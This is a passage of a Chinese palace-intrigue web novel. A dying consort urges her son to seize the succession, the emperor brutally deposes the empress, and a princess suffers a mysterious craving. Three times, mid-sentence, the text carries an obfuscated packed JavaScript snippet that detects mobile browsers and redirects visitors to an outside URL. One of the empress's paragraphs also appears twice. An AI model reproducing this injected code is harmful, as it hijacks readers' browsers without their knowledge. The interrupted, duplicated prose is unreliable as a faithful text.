“即便如此,那又如何……别忘了,害死我的,不仅是崔氏,还有她的两个儿子,彻儿,你若是想为我报仇,最好的方法,便是夺了萧珏的太子之位,这才是真正的诛心之举,比杀了崔氏更解恨,只要你成功继位,到时想怎么为我报仇,不过是你一句话的事……” “彻儿,答应我,为了母妃,你一定要取代萧珏,成为太子,从萧元乾手中接过这原本便该属于我们江家的江山!” “我?”萧彻怔然:“那个位子,我从未想过……我的身份既是前朝……又怎么能……” “怎么不能!”江沉鱼大口大口地喘着气,情绪陡然变得激动:“你是前朝歧国公主唯一的血脉,身上流着两朝皇室的鲜血,有着最尊贵的血统,那位子生来便该属于你,你怎能妄自菲薄!” “我便是要让你继位,我要让他萧氏的子孙后代,世世代代,都流淌着我们江氏的血脉,我要让那些屠戮过我们族人的魏人,永生永世都逃不开江氏的诅咒,这便是他们最大的报应!哈哈哈哈……” “只有你继位,我们江氏,我们兰陵族人,才能拿回属于我们的一切……” “彻儿,答应母妃……这是母妃最后的念想了,难道你要看着母妃死不瞑目么?” 萧彻看着江沉鱼,生平第一次,竟像是从未了解过她一般。 江沉鱼得不到肯定的回复,急促地喘息着,追问道:“彻儿,答应母妃,旁的你可以不在乎,可母妃的仇,你怎么能不报?要想报仇,就只有夺位这一条路……萧珏和萧衍,是崔氏的爪牙,他们三人一并害死了我……你大可不必顾及兄弟之情……” “你忘了你小时候生病,我衣不解带地照顾你,跪在神佛面前祈愿,愿以我的寿命换你平安,你醒来的时候,是怎么跟母妃说的,你说你以后一定事事都听母妃的话,从无违背……难道,你都忘了么……” 萧彻深看了她一眼,欲言又止,眼底情绪几经翻涌,最终也只是平静地问出一句:“母妃,你不爱父皇,那你,爱我么?” 江沉鱼愣了一下,似乎是没料到萧彻会突然发问,问她……这样一个问题。 短暂的错愕过后,她垂下眼帘,轻轻颤动着眼睫,再抬眼时,唇畔很快便浮起笑意:“你是母妃的孩子,身上流淌着江氏的血脉,母妃自然爱你……” 萧彻端详着她的面容,良久之后,到底慢慢微笑起来:“多谢母妃……我答应您。从今天开始,我会不计一切代价,争夺储位。” 江沉鱼一怔,眼前视线渐渐变得模糊,泪水溢满眼眶,她看着眼前不过十八岁的少年,心中到底有过一丝动容:“……母妃走后,你要善自珍重,姬乐便跟着你,她会替母妃好好照顾你、指点你……” “还有,燕骁是母妃为你埋的一步棋,燕家军虽已收编,但他们世代为燕家所统领,唯燕家后人马首是瞻,燕骁如今已取得魏元帝的信任,你要一步步帮他争取外出行军征战的机会,树立军功,他以后会成为你的筹码…… “此外,母妃还给你留了一批前朝死士,号令差遣死士的令牌届时姬乐自会给你……” “母妃最后能为你做的,便是用这条命,帮你铺路……我会跟萧元乾说,是崔皇后害死了我,我死之后,出于对我的愧疚,他一定会尽力弥补你……彻儿,这便是你最好的机会……” 她最后深看了萧彻一眼,里面有一种萧彻读不懂的东西,亏欠、怨恨、得意、喜爱,不忍、不舍、快意…… 这种种变幻的情绪交织在一起,让人如坠迷雾,难以分辨。 一滴泪从她的眼角滚落,她最后只是偏过了头,低声道:“姬乐,请陛下过来……” —— 萧彻失魂落魄地从披香殿出去的时候,迎面正撞上魏元帝发疯似得往里面赶。 他身形踉跄,面上是他从未见过的害怕神色。 那样的绝望与不安。 高高在上的一国之君,向来翻手为云覆手为雨,有着上位者的从容与淡然,他从未见他有如此失态的时候。 萧彻不忍地别过了脸,在门口驻足,不多时,便听里面传来一声撕心裂肺的叫喊。 他浑身止不住地颤抖,倚靠在殿门,身子缓缓滑落,终于失声恸哭。 他知道,他的母妃,薨了。 —— 江沉鱼的离世,像是投入湖面的一粒石子,看似无足轻重,但整个湖面都将泛起涟漪,不再平静。 萧元乾再没了软肋,疯态尽显。 他要废了崔氏。 那幅江沉鱼口中的刘松年赝品,并没有被找到,可这不妨碍萧元乾给崔氏定罪,江沉鱼是喝了那盅参汤才薨逝的,即便参汤无毒,那也是因其虚不受补,引发旧疾,身为皇后,竟连后宫众人的饮食禁忌都不知道,间接害死了贵妃,怎么不算有罪? 虽然判罪的罪词中并没有提到那幅赝品,但宫中没有不透风的墙,崔氏在倾盆大雨下跪在紫宸殿前,苦苦为自己辩白:“陛下,臣妾冤枉啊……是江贵妃自己在一次小宴上说她喜欢刘松年的山水画……” “这么多年,她盛宠不衰,我自知比她不过,与其交恶,不如示好……” “刚好手下的人说新近得了刘松年的山水画,我便做个顺水人情,赐给了江氏,却根本没浸什么百濯香……臣妾连见都没见过这个香又怎么会用它去害人呢……” “刚好手下的人说新近得了刘松年的山水画,我便做个顺水人情,赐予了江氏,却根本没浸什么百濯香……臣妾连见都没见过这个香,又怎么会用它去害人呢……” “至于那盅参汤,也是江氏说她近日身子总觉疲倦,恐是又犯了旧疾,往年喝一盅高丽参熬制的参汤也就好了,只是今年高丽尚未进贡……她这话说完一个月后,高丽便进贡了人参……陛下按份例赏赐我三株……” “她当初既然这么提过,我自然是要赐她的……让珏儿亲自送去,不过是臣妾手下的玲珑跟臣妾说,江氏的儿子左右不能继承大统,江氏亦心知肚明,珏儿总渴望能得到陛下的肯定,不如让珏儿与她多走动走动,或能得她在陛下面前帮他多美言几句……” “至于我让衍儿去收回那幅刘松年的山水,不过是那日玲珑向我谢罪,说当时赐给江氏的那幅山水画是赝品,臣妾羞愧难当,刚好衍儿那会碰巧在臣妾那儿,臣妾便让衍儿亲自去取,顺道赔罪……等拿到了画,臣妾气不过这居然是一幅赝品,自然让人拿去烧了,绝不是想销毁证据啊啊陛下……” “您若是不信,大可以让玲珑过来,一问便知……” 殿门嘎吱一声,发出沉闷粗嘎的声响,被人缓缓从里打开。 崔氏在雨帘中猛地抬头,脸上闪过一丝欣喜,连忙爬跪着往前行进了几步:“陛下,你终于肯来见臣妾了,您还是信臣妾的对不对……” 魏元帝一袭赭色常服,腰佩玉带,由太监撑着伞,居高临下地看着她,眼中是毫不掩饰的厌恶,冷笑道:“玲珑已经畏罪自尽了,又如何过来?” 崔氏满脸错愕,像是被人抽干了力气,一下子瘫软在地:“什……什么……” 她像是终于反应过来,猛地睁大了眼睛:“是玲珑!是她陷害我!对,当初就是她说有什么刘松年的山水画……也是她说她不小心弄错了,献给我的是赝品,每件事都有她,怎么会那么凑巧……一定是有人指使她……是江氏,她是江贵妃的人!” 她跪伏在萧元乾的脚边,攥住他的衣袍一角,神情恍惚,只是不断地重复道:“对,是江氏……是江氏陷害我……她自己不想活了,却要拉我做垫背,她怕自裁会累得萧彻失宠,所以才要嫁祸给我,以此博取陛下您的怜惜,对,一定是这样……” 她抬头哀哀地看向萧元乾,这个她当年一见钟情,想方设法嫁给他的男人。 男人的容貌一如当年那般英挺俊美,看向她的眼神却也如当年一般冰冷漠然。 她哀求道:“臣妾是冤枉的,是江氏陷害的我,陛下明察啊……” 却不想正对上萧元乾一双阴鸷的眼,他抬脚猛地踹在她的胸口:“贱人!你算什么东西,也配提贵妃?朕不许你污蔑她,听清楚了没有!” 那一脚正中心窝,崔氏被狠狠地踢到在地,整个身体向前扑,倒在了水滩中,喉咙深处顿时漫上一阵血腥。 雨越下越大,天地间仿佛只余哗哗的雨声。 脸上一片水渍,早已分不清是雨是泪。 夫妻二十余载,到头来,却只有心口的这一脚,就因为她对他心爱的贵妃出言不敬。 心口处传来一阵密密麻麻的疼痛。 疼,真疼啊…… 她忽然笑了起来,状若癫狂,死死地盯着他道:“萧元乾,你敢这样对我,你怎么敢!你想废了我?别妄想了,玄陇一派的世家们不会同意的,你别忘了,我姓崔,出自博陵崔氏!” “是么?”萧元乾淡淡地笑了起来:“你是出自博陵崔氏不错,可惜,不过是一个不受重视的旁支庶女罢了,当时崔氏嫡女突发恶疾,不能入宫,而崔家一时又找不出合适的人选,于是这皇后的头衔才落到了你的身上,你不过是捡了个现成的便宜,真以为你有多尊贵、多独一无二么?” “世家门阀也远没有你想的那么看重你,他们要的不过是一个出自崔氏的皇后,至于是你,还是别的崔氏女,于他们而言,并无太大区别。” 他的唇角凝了一抹冷意,嗤道:“你若是真有你想得那么重要,他们怎么会让你此刻跪在这大雨中,跟条狗似得在朕面前摇尾乞怜?” “崔婉卿,实话告诉你吧,你在玄陇世家那里,已经成了一颗无用的废子了。” 他深深地一闭眼,眼尾抽动,像是在忍耐着极大的痛苦:“贵妃死了,必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791820|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须有人为她的死付出代价。” “你说,那个人是你,还是亲自将那盅参汤递给贵妃的太子?” 崔氏面色瞬间变得惨白,哆嗦着唇瓣,不可置信地看着萧元乾:“萧元乾,你疯了!珏儿他是你的亲子!” 萧元乾俯下身,慢慢笑了起来,眉梢眼角俱是疯态,只道:“那又如何,贵妃死了,朕恨不得整个天下都为她陪葬!” 疯子……真是个彻头彻尾的疯子……崔氏此前一直以为,萧元乾种种的离经叛道之举,皆因江沉鱼而起。 她也曾无数次幻想过,要是江沉鱼能从这个世上消失就好了,只要她能从这个世上消失,萧元乾必不会再如此失智。 如今江沉鱼终于死了,可她等到的,却是一个疯得更加变本加厉的萧元乾。 原来萧元乾天生便是条疯狗,若是江沉鱼还在,这条疯狗尚且有所顾忌,能为了江沉鱼一再让步,与外界妥协,如今江沉鱼既死,恰如疯狗没了狗链,岂不更加疯得无法无天,全无顾忌? 萧元乾看着她,唇边依旧带着笑意,然而说出口的话,却诛心至极:“你和太子的前程相比,孰轻孰重,那帮世家还是分得清的。” “朕只是废了你,又不是杀了你,已经给足了博陵崔氏面子。何况博陵崔氏,如今并不缺适龄女子,朕已答应,废了你之后,另立崔氏女为后。他们自然再无异议。反正皇后这个位置,如果不是江沉鱼,那么无论是谁,对朕来说,都没有任何区别。” “至于婉卿你,”他附在她的耳边,用一种温柔到近乎诡异的语气慢慢地道:“就乖乖地下地狱吧。” 崔婉卿只觉背后寒意瘆人。 像是毒蛇蜿蜒绕颈,在耳后缓缓吐信。 她知道,被废只是一个开始。 一旦成了废后,便无人在意她的生死,抑或是生不如死。 必须要有人为江沉鱼的死付出代价,而萧元乾想要的代价,绝不仅仅是废了她这么简单。 在认清这一点后,反倒什么都不顾忌了。 因为知道无论她怎么做,结果都是既定的。 像条狗一样在他面前摇尾乞怜又有什么用呢,他根本不会怜惜你半点。 只因你不是江沉鱼,所以做什么都是徒劳。 崔婉卿忽然大笑了起来,状若癫狂,这般笑了足足有一会儿,才渐渐停下。 她望着萧元乾,一字一句,幽幽地道:“萧元乾,你真可怜啊……” 萧元乾皱眉:“朕可怜?你倒不如可怜可怜你自己,崔婉卿,朕看你真是疯了。” “你不可怜吗?我看你,明明可怜得紧啊!” 她弯起唇角,渐渐露出一种奇异的笑容:“你都知道对不对?你其实什么都知道,我不过是被江沉鱼利用了而已!她是自己不想活了!为什么?其实你心里什么都清楚!这么多年,她在你身边,可有过片刻发自内心的安宁?没有!每一天都在苦苦煎熬……” “如今许是熬不住了,又或者是别的什么原因,谁知道呢,但有一点,她确实是解脱了……” 她看着萧元乾越来越阴沉的脸色,心中反而越觉快意:“你其实什么都清楚,只是不敢承认是不是?你不敢承认贵妃的死根本就是一场彻头彻尾的自裁!” “因为那样,就说明这些年她早就不爱你了,待在你身边的每一天,于她而言,都生不如死,死亡反而成了一种解脱……呃……” “住嘴!”萧元乾猛地伸手掐住了她的喉颈,像是在极力忍耐着某种即将喷涌而出的暴戾情绪,额角青筋凸起,咬牙道:“朕叫你住嘴!” 崔婉卿痛苦地挣扎着,试图推开他的手臂,然而他的力气极大,铁臂一般牢牢地钳制住她,她的挣扎根本是徒劳无功。 呼吸都变得极为费力,眼前也开始变得晕眩,她早已没了力气,却还是挣扎着开口:“我……我说中了你的痛处了,是不是……” “哈哈哈真可怜啊……萧元乾……以为只要费尽心思、为她摘星挽月,就能……就能令她回心转意么……其实她早就死在了十八年前……可笑……你灭了她的国家,杀光了她的族人,居然……居然还妄图她爱你……这真是……天底下……最最可笑之事……” “你……你不过是守了个空壳子过了十八年……我可怜?你难道……不可怜么……高高在上的帝王,其实,也不过是一条被她玩弄于股掌之中的可怜虫罢了……哈哈哈……” “江沉鱼死了……其实……根本就是你害死了她!你才是始作俑者……可你不敢承认,你接受不了她的死,同样接受不了她真正的死因……于是你只能逃避地将她的死推脱给我……只有这样,你才能好过一些,是不是……” “是啊,总要有人为她的死付出代价,这个人自然不可能是死去的江氏,于是……只能是被她利用的我了……哈哈哈,萧元乾,你也只能这样了,只能……发泄在我的身上了……你甚至……不敢怪她……她杀了她自己……你却……只能发泄在我身上……” “贱人,说够了没有?都在胡说八道些什么!”萧元乾呼吸粗重,猛地将人掼置在地上,额头重重地磕在地砖上,崔婉卿终于彻底昏死了过去。 16. 第 16 章 崔氏被废之后,幽静于冷宫,萧元乾下令,不许任何人探望,包括萧珏和萧衍。 江沉鱼以极高的礼制葬于南陵,魏元帝辍朝七日,日行三奠,阖宫上下服缟素。 丧期过后,魏元帝另立新后,一如当时的承诺,新后亦是崔氏女,是崔氏嫡系一脉,身份要比崔婉卿贵重得多,玄陇世家自然十分满意。 这之后便开始照常处理政事,如今他不必再陪江沉鱼,有大把大把的时间做那帮玄陇世家眼中的正事。 他们于是认为魏元帝比以前更为英明睿智了。更加认定兰陵一族有蛊惑人心的本事,江沉鱼一死,魏元帝果真就恢复到了昔年的英明。 随着时间的流逝,所有人都以为江沉鱼的死已经彻底过去了。就像石子掷湖,虽激起圈圈涟漪,却终将归于平静。 —— 颜嘉柔已经有一段时间没见到萧彻了。 她知道他母妃的死对他打击很大,他有好些时日都一个人闷在殿内,闭门不出。 她虽一向与他不对付,但也并不愿见到他如此消沉难过。 终于在即将出孝期的前两天,她在丹凤门至含元殿的甬道上见到了萧彻。 他一身素白缟服,似乎比上回清减了几分。 精致的眉眼间笼上了一层恹色,素白的缟服衬得他整个人愈发冷清。 白衣素服穿在他身上并不显寡淡,反而有种说不出的好看。 她呆呆地看着他,这才想起今日是燕骁班师回朝的日子,必经过丹凤门。 萧彻果然在这等他。 江沉鱼死前一月,适逢漠北作乱,当时漠北出兵不久后,罗利可汗暴毙身亡,新旧可汗交替,本就内患不断,加上如今的漠北之前被岑景焕大将军重创,今非昔比,早已不足为惧,当年岑景焕所率领的是改编后的燕家军,燕家军既熟悉漠北地形,如今再度出师,自然是首选。 只是岑景焕大将军如今远在安州,一时半会倒赶不过来,只不过既派了燕家军去,领兵的是谁,也无关紧要——这是场必赢的仗,派谁去平乱都是捡现成的功劳。 江沉鱼向萧元乾举荐了燕骁。 或许是江沉鱼开口,他向来无有不应,也或许是燕山被夺权,燕家满门被流放已经过去太久,久到他忘记当初这么做的缘由,又或许是燕骁救驾有功,颇得圣心,他早已完全信任,总之,他同意了。 这场仗赢是必然的,只是让人没想到的是,燕骁会赢得这么漂亮。 不过短短三日,便以火攻奇袭之法逼得北漠连连退兵。 如今班师回朝,想必封赏必不会少。 而萧彻一向和燕骁交好,燕骁回来,他多半是要前来相迎的。 萧彻也注意到了她,面无表情,只淡淡地看了她一眼,目光便从她的脸上掠过。 对她的态度竟十分冷淡,冷淡到……就像对待旁的女子一般。 萧彻不笑时,面色是极冷的,气质也更为疏离,仿佛高不可攀的的雪山雾凇,只可远观,不可亵玩。 颜嘉柔咬紧唇瓣,在他经过她身边时轻叫了一声,“萧闻祈……” 萧彻停下脚步:“有事?” “其实也……也没什么,只是我听说贵妃娘娘她……你……你还好么?” 萧彻眼睫几不可察地颤动了一下,苦笑道:“不好又能如何?” “我……你……你也别太伤心了,逝者已矣,这是谁都没有办法改变的事……我小时候爹爹跟我说,每个人最后都会和亲人再度团聚的,所以即便亲人先走一步,也不用太伤心,因为最后还是会在另一个世界与他们团聚,怀揣着这个希望的话,是不是就不会太过悲伤了……” 说完抬眼,正撞进萧彻浅色的瞳仁,他眼底闪过一丝兴味,又仿佛是若有所思。 颜嘉柔眼睫轻颤:“你……你这么看着我做什么?” “没什么,只是觉得你每次安慰我,都是用你爹爹的话——他的话,你倒是记得牢。” 颜嘉柔怔了一下:“……那他总爱跟我说这些为人处事的道理么,说得多了,自然就记住了。” 她试探地问:“那你现在,心里好受些了么?” 萧彻挑眉,目光直直地望向她眼底,浅色的瞳仁晕着日光,有种让人目眩的蛊惑:“我心里好不好受,你很在意?” 颜嘉柔一愣,白玉似的耳垂渐渐红了,磕磕绊绊道:“我……我……才没有……我……我只是……只是随口一问罢了……” “是么?”萧彻向前一步,低头看着她,略扯了唇角,要笑不笑:“不过我倒是很好奇,你向来讨厌我,怎么,如今见我这副不人不鬼的样子,倒不觉痛快……” 他顿了顿,收起了神情,深看了她一眼:“为什么,反而要来安慰?” “我……”颜嘉柔咬着唇瓣,小声嗫嚅道:“我才没有那么坏呢……你虽然总跟我作对,我也一向……一向讨厌你,但仔细想想,那些其实也都是无关紧要的小事,你并没有真的对我怎么样……” “更何况……你还救过我,我也是经历过丧亲之痛的人,你出了这样的事,我怎么可能幸灾乐祸……” 萧彻不说话,只是以一种审视的目光静静地打量着她。 颜嘉柔低垂着头,手指无意识地轻轻拨弄:“其实……其实你也并不是那么讨厌……你要是肯以后多顺着我一点,我们,我们或许可以成为朋友……” 这句话盘桓在她心里已经很久很久了。 她少有跟他和颜悦色的时候,今日既然主动开口安慰他了,索性便也主动低头一回,鼓足勇气将那句话说出了口。 可等了半天也不见萧彻答话,她有些紧张地抬起了头。 萧彻低头看着她,脸上没什么表情,对上她询问的视线,目光冷淡,轻嗤了一声道:“谁要跟你做朋友。” “这种话,你怎么,不跟你的太子哥哥去说?” 他直起身,背手而立,语气冷淡疏离:“好了清河公主,我萧彻从来不需要你的可怜,更不稀罕当你什么劳什子朋友,你要是没别的事,可以回了。” “你!”颜嘉柔不可置信地看着他,一张雪白的脸皮霎时涨得通红——被气得。 小姑娘好不容易鼓足勇气主动低头,对他说些服软的话,还以为两人的关系会有所缓和,结果他居然这样瞧不上她,要说这样的话给她难堪! 气愤过后,便是忍不住的委屈和难过……不知道为什么,心口处竟泛起一种酸涩,像是心脏被牵扯,又有种钝钝得疼。 她只是不明白,萧彻为什么就这么讨厌她呢? 她猛地抬手,然而那一巴掌到底没落下,她只是用尽全力推了他一把,以此泄愤:“萧闻祈,你混蛋!” 岂料萧彻纹丝不动,她自己反而身形不稳,一踉跄,身子往后坠去。 眼见下一刻便要摔倒在地,斜刺里忽然伸出一只手,修长白皙的手指微张,一把搭上她的腰,将人捞了回来,语调散漫:“清河公主再生气,倒也不至于连站都站不稳了吧?还是说故意为之,又要把这笔账算到我头上?” 颜嘉柔一愣,等反应过来后,立刻张牙舞爪地反驳道:“你……你说什么!你说我陷害你?萧闻祈,你不要脸!我是推不动你才会站不稳,而且难道你不知道么,之前骊山狩猎,我腿上受了伤!” 她原本便受了委屈,心里难过,这时情绪一激动,便再难抑制,眼圈泛红,浓睫颤动,当即便坠下泪来。 萧彻原本还要说什么,突然神色一顿,张了张嘴:“你……你哭了?” 颜嘉柔胡乱地抬手擦拭,赌气地一扭头:“没有!” 萧彻喉结滚动,眼帘低垂,轻声道:“抱歉。” 颜嘉柔诧异地转过了脸,唇瓣微张:“萧彻……” 萧彻平静地看着她,牵动唇角,似乎是笑了下:“抱歉,从小到大,总是跟你作对、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791821|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处处欺负你,就像刚才,明明早就做好了决定,但在看到你时还是忍不住。” “不过以后不会了,以后我对你,跟对待那些世家小姐不会有任何不同,我不会再欺负你,与你作对,你可以放心了——所以,不哭了,嗯?” 颜嘉柔眨了眨眼,果然不再哭了,目光却渐渐透出一种迷茫。 萧彻这话是什么意思? 听上去像是在低头服软,他说以后再不会跟她作对,不会再欺负捉弄她了……他说这样的话,她应该感到高兴才对。 可为什么,却并没有她预想中的那么高兴,她要的低头服软,好像并不是这样。 像对待那些世家贵女一般,那不是冷若冰霜,拒人千里,完全不把自己放在眼里么。 这倒是清静了,只是她想要他这么对她么? 她一时也说不上来,只觉得似乎比欺负她要好一些,可这样的萧彻,又好像更让人讨厌。 她脑子一时乱的很,只随口问了句:“……为什么?” 萧彻拇指拭过她眼角的湿意,唇角微勾:“因为,我接下去要做一件危险的事,所以呢,便没功夫找你的不痛快了。” “危险的事?”颜嘉柔蹙眉,下意识地搭上他为她拭泪的手,仰起脸看着他,追问道:“什么危险的事?” 萧彻动作一顿,余光瞥向她,小姑娘的手白白软软的,又那样小,软绵绵地搭在他的指关节上,他眉梢微抬,蜷起手指,在她手心摩挲出细微的痒意,慢慢靠近了她:“怎么?你担心我?” “我……”颜嘉柔眼睫微颤,快速地垂下眼帘:“我不过随口一问罢了……” 萧彻挑眉弯唇:“既然只是随口一问,并不在意,那我不答应该也没什么紧要的吧?” “你!”颜嘉柔气得抬头瞪他:“萧闻祈!怎么会有你这么讨厌的人!” 萧彻无谓地耸了耸肩,笑了下道:“好了,不逗你了,没什么特别的原因,不过是因为我累了,所以不想玩儿了。皇妹,跟你作对十几年了,我也累了,不想再继续了。” 颜嘉柔一噎,万万没想到竟是这个原因,那他们现在算什么,这样……是和好么? 分明不太像,倒更像是,今后老死不相往来…… 正胡思乱想间,不防萧彻突然凑近,仔细观察她的气色,面上倒瞧不出什么:“对了,你方才说,你上次在骊山受的伤,至今仍未痊愈?” 颜嘉柔眼睫忽然颤动了一下, 骊山上受的伤……便是那日被野狐咬了一口,这原本不算什么,可每每想到她被咬之后的反应,和对萧彻做出的种种异常举止,她便觉十分不自在,脸上又仿佛烫了起来。 那日回去之后,倒是一切如常,可是之前发生的种种,总在她脑海中挥之不去,她至今都不知道为什么那时自己会对萧彻那样难以自控……只能归结于那骊山处处透着古怪,她约莫是中邪了。 左右之后没再出现什么异样,她也没再多想。 唯一让她感到不安的是,她脚踝处的伤口一直没能愈合。 不过是被野狐咬了一口,即便伤口略深了一点,可这么多天过去了,照理也该愈合了,为何用了那么多金疮药,却迟迟都不见好呢? 这也就罢了,可眼下,却出现了让她更加不安的事。 那个原本虽未愈合、但已经毫无感觉的伤口,此刻却又泛起了异样的感受。 随着萧彻的突然靠近,若有似无的呼吸倾吐在她脸上,他肤色冷白,气质自有一种冰雪般的冷清,搭在她腰际的大手,手心却有一种灼人的热意……热意沿着她的腰际游移至四肢百骸,催逼出一种磨人的渴念。 是伤口处又开始出现异样了。 仿佛千万只蚂蚁在身上游走,难耐到了极点,身体深处涌现出一种强烈的渴念,亟需尝点什么东西来缓解,却决不是水。 当日骊山上对萧彻滋生出的疯狂渴求又卷土重来。 17. 第 17 章 她的直觉告诉她,萧彻身上有她的解药。 本能驱使她向他越靠越近,他的气息,他的体温……有关于他的一切,仿佛都能安抚她的躁动。 只是…… 萧彻也察觉到了她的异样,见她整个人像是支撑不住,几乎贴在了自己的身上,身子更是又烫又软,显然不正常:“你怎么了?身体不舒服?” “我……”颜嘉柔咬紧唇瓣,疼痛迫使她找回一丝清明:“好像是骊山……骊山的旧伤犯了,伤口突然……很难受……腿……腿软了……” “腿软?”萧彻蹙眉:“那还能走么?” 颜嘉柔枕在他怀里摇了摇头。 萧彻抬眉,只觉今日的颜嘉柔十分反常,许是身子真是难受极了,否则怎么会挨得他这么近,或许也只有生病了,才会这么乖顺。 他搭上她的肩头,微微往外推了推:“松开。我送你回去,帮你传太医。” 太医……颜嘉柔自然知道自己病了,却也明白她的这种病找太医根本不管用,她的身体告诉她,或许只有萧彻身上,才有她想要的解药。 虽然不清楚为什么,可她推测她约莫是中邪了,所以才会躁动难安,却偏偏只有萧彻能够安抚她。 她一点儿都不想变成这样,可她控制不了自己,不过这个病发作得并不频繁,在今天之前,她几乎以为骊山上发生的事情都过去了,她对萧彻做的种种异常举止……或许只是错觉…… 如果不是脚上的伤口迟迟不肯愈合,时刻提醒她骊山之行发生的事都是真实存在的话。 不过没关系,她安慰自己,这个病似乎只有跟萧彻近距离接触才会发作……她既摸到规律了,以后注意着点也就是了。 至于眼下,她相信只要跟萧彻这样待上一会儿,利用他安抚好自己的身体后,一定可以跟上次一样,很快便能恢复正常。 至于太医……不管用先不说……她才不要让太医见到她现在这个样子…… 不用照镜子,她也知道她现在是个什么模样……脸上那么热,必定是红得不成样子……视线也已变得模糊,是难以抑制的生理性泪水溢满眼眶……发髻也在萧彻的怀里蹭乱了…… 实在丢脸。 指不定还以为她中了什么不可明说的药,再将她和萧彻联系在一起,事情岂不是更糟。 若是传到萧珏的耳朵里,那更是大大的坏事了。 她才不要。 只要再坚持一会儿,再坚持一会儿,自己一定能恢复正常:“不要,没什么大碍的,不用去看太医了……我缓一下……我缓一下就可以了……” 萧彻“哦?”了一声,低头打量着她:“那你,能不能先松开我?” “你!”颜嘉柔咬牙,她现在这个样子,哪里松得开他! 她抬头瞪了他一眼,气息不稳:“萧闻祈,你怎么这么小气?我都说了我……我腿软站不稳,借我靠一下又不会怎么样……” 说是瞪,其实眼下她的情形,脸色潮红、眼眸湿^润,这一瞪软绵绵的没半分力道,倒更像是在调情。 尤其她嗓音本就轻软,极力克制下声音轻颤,尾音拖长,夹带了一丝若有似无的哭腔,如泣如诉,明媚张扬的一张脸,此刻倒显出几分楚楚可怜,一双眼眸氤氲着水汽,愈发浮着艳色。 萧彻眯眼审视着她:“颜嘉柔,你又想玩儿什么把戏?” “我……我没有……”她仰头看向他,水眸中透着委屈,红润的唇瓣已被咬出了湿闰的齿痕。 萧彻似乎说了什么,可她已经没有心思再去分辨了。 只能看到他说话时上下耸动的喉结,以及附近那些,爬在他颈部,微微凸起的青筋,她下意识地舔了舔唇瓣,不知道为什么,从上一次骊山之行开始,她便觉得他脖颈处隐伏的血管十分诱人。 是,诱人。 血管里静静流淌着他的血液,她甚至能感受到他脉搏的跳动,这种奇异的感官让她有一种冲动…… 渴念又在体内疯狂叫嚣。 她在犯病时,萧彻身上的每一处,于她而言,都十分诱人。 尤其是血管隐伏的脖颈。 对她有着强烈的吸引力。 她几乎就要控制不住自己。 意识到这一点后,她连忙强迫自己移开视线。 利用他的气息温度安抚就够了,如果忍不住咬上他的脖颈,那事情就会变得彻底失控。 为了转移自己的注意力,也为了稳住萧彻,她故意转移话题,跟他说些有的没的:“萧彻,我有话跟你说……” 萧彻果然问:“什么?” “我……”颜嘉柔咬紧唇瓣,竭力平稳气息,尽量让自己的声音听起来与往常无异:“我……我想跟你说……” 但到底要跟他说什么呢,颜嘉柔脸颊枕在他的胸膛,感受着他衣料底下薄而坚硬的肌理传来的热度,贴得这样近,甚至能感受到他的心跳,依旧平稳而有力,不像她,因为犯病的缘故,一颗心跳动得极快,毫无章法。 鼻腔盈满了属于他的气息,被他的温度包裹着,瘾念得到了暂时的满足,身体上的躁动的确稍稍得以安抚,她发出了一声舒服的喟叹,短暂地恢复了神智,也因此,她想到要跟萧彻说什么了:“萧闻祈,你……你心里有好过一点么……” “什么?” “就是我爹爹跟我说的那些话……我每次想他们时,如果觉得心中难过,便把我爹爹跟我说的话翻出来安慰自己,马上就不难过了,很管用的……那你呢,对你有用么,听了那些话之后,你心里有没有好受一点?” 萧彻喉结耸动,低头凝视着她,小姑娘梳了时兴的半翻髻,发髻上饰以金铜杂花,翠围珠绕,他低头刚好可以看见她将后面的发缕层叠盘绕于头顶,露出饱满的后脑勺,圆滚滚的可爱极了。 他唇角勾起一点弧度,道:“的确好受多了,多谢。” 颜嘉柔微微一怔,似乎是没想到萧彻会突然这么说……毕竟他对她,从来都不会好好说话。 她恍惚觉得,这样的萧彻,才是她预想中他向她低头服软的样子,而决不是什么待她同旁的世家小姐一般,冷眼视之。 萧彻他顿了顿,目光无意识地落在半空中,仿佛陷入了某种回忆:“很多年前,你也这么安慰过我……有些东西,倒还真是没有变。你还记不记得你小时候的样子?” 颜嘉柔抬头,眼神迷茫。 他忽然凑近,一张脸陡地逼至身前,令人呼吸一窒,他勾唇缓缓吐字道:“很可爱。” 颜嘉柔雪白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791822|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面颊瞬时红透了,这样的萧彻,她尚不习惯,自然也不擅长怎么跟这样的他相处,只能磕磕绊绊道:“你……你觉得好多了就好……” 